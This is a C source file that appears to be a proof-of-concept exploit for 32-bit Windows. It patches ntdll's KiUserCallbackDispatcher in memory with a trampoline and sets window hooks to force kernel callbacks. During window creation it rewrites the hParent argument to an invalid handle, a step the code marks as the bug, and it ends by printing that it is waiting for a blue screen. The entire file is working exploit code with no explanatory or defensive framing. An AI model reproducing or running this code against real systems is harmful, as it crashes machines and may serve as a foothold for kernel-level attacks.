#include <windows.h>
#include <stdio.h>

#define asm __asm

///////////////////////////////////////////////////////////////////////////

void* KiUserCallbackDispatcher;

///////////////////////////////////////////////////////////////////////////

//__declspec ( naked ) void handler ( void );
void seter(unsigned int*);
BOOL CALLBACK my_callback(int, WPARAM, LPARAM);

///////////////////////////////////////////////////////////////////////////

char* trampoline = "\x68"               // "push"
"\x12\x34\x56\x78"   // "handler address"
"\xc3";              // "ret"

///////////////////////////////////////////////////////////////////////////

__declspec (naked) void handler(void)
{
    //  asm int 3

    asm pushad
        asm push esp
        asm call seter
        asm add esp, 4
        asm popad

        /* The first 3 "KiUserCallbackDispatcher" instructions */
        asm add esp, 0x4
        asm pop edx
        asm mov eax, fs: [0x18]

        /* Returning to the normal code */
        asm push dword ptr[KiUserCallbackDispatcher]
        asm add dword ptr[esp], 0x0a
        asm ret
}

///////////////////////////////////////////////////////////////////////////

void seter(unsigned int* base)
{
    unsigned int* p = (unsigned int*)base;
    static int time = 1;

    /* If it's the correct call */
    if (time == 1)
    {
        /* Searching a known argument */
        while (1)
        {
            /* If it's the interesting value */
            if (*p == 0x00cf0000)
            {
                /* If it's the hParent to be modified */
                if (p[4] == 0)
                {
                    /* Writing the magic argument */
                    p[4] = 0xfffffffe;      /* <<<<<<<< BUG <<<<<<<< */

                  /* Closing the door */
                    time++;
                }

                /* Leaving */
                break;
            }
            else
            {
                p++;
            }
        }
    }
    else
    {
        time++;
    }

}

///////////////////////////////////////////////////////////////////////////

BOOL CALLBACK my_callback(int algo, WPARAM wparam, LPARAM lparam)
{
    return (FALSE);
}

///////////////////////////////////////////////////////////////////////////

int main(int argc, char* argv[])
{
    unsigned int nbytes;
    unsigned int oldp;
    HHOOK hook;

    /* Resolving the KiUserCallbackDispatcher address */
    KiUserCallbackDispatcher = GetProcAddress(GetModuleHandle(
        "ntdll.dll"), "KiUserCallbackDispatcher");
    printf("%x\n", KiUserCallbackDispatcher);

    /* Changing the privileges */
    VirtualProtect(KiUserCallbackDispatcher, 1,
        PAGE_EXECUTE_READWRITE, &oldp);

    /* Fixing the trampoline */
    *((unsigned int*)&trampoline[1]) = (unsigned int*)handler;

    /* Patching the KiUserCallbackDispatcher */
    WriteProcessMemory((HANDLE)-1, (void*)
        KiUserCallbackDispatcher, (void*)trampoline, 6, (DWORD*)
        &nbytes);

    /* Enabling the kernel callbacks */
    hook = SetWindowsHookEx(WH_SHELL, (HOOKPROC)my_callback,
        GetModuleHandle(NULL), GetCurrentThreadId());
    hook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)my_callback,
        GetModuleHandle(NULL), GetCurrentThreadId());
    hook = SetWindowsHookEx(WH_CBT, (HOOKPROC)my_callback,
        GetModuleHandle(NULL), GetCurrentThreadId());

    /* Creating a window */
    printf("Creating a Window ...\n");
    CreateWindow("Edit", "Title", WS_OVERLAPPEDWINDOW, 0, 0, 20,
        30, NULL, NULL, NULL, NULL);
    printf("waiting the BSOD ...\n");

    return (0);
}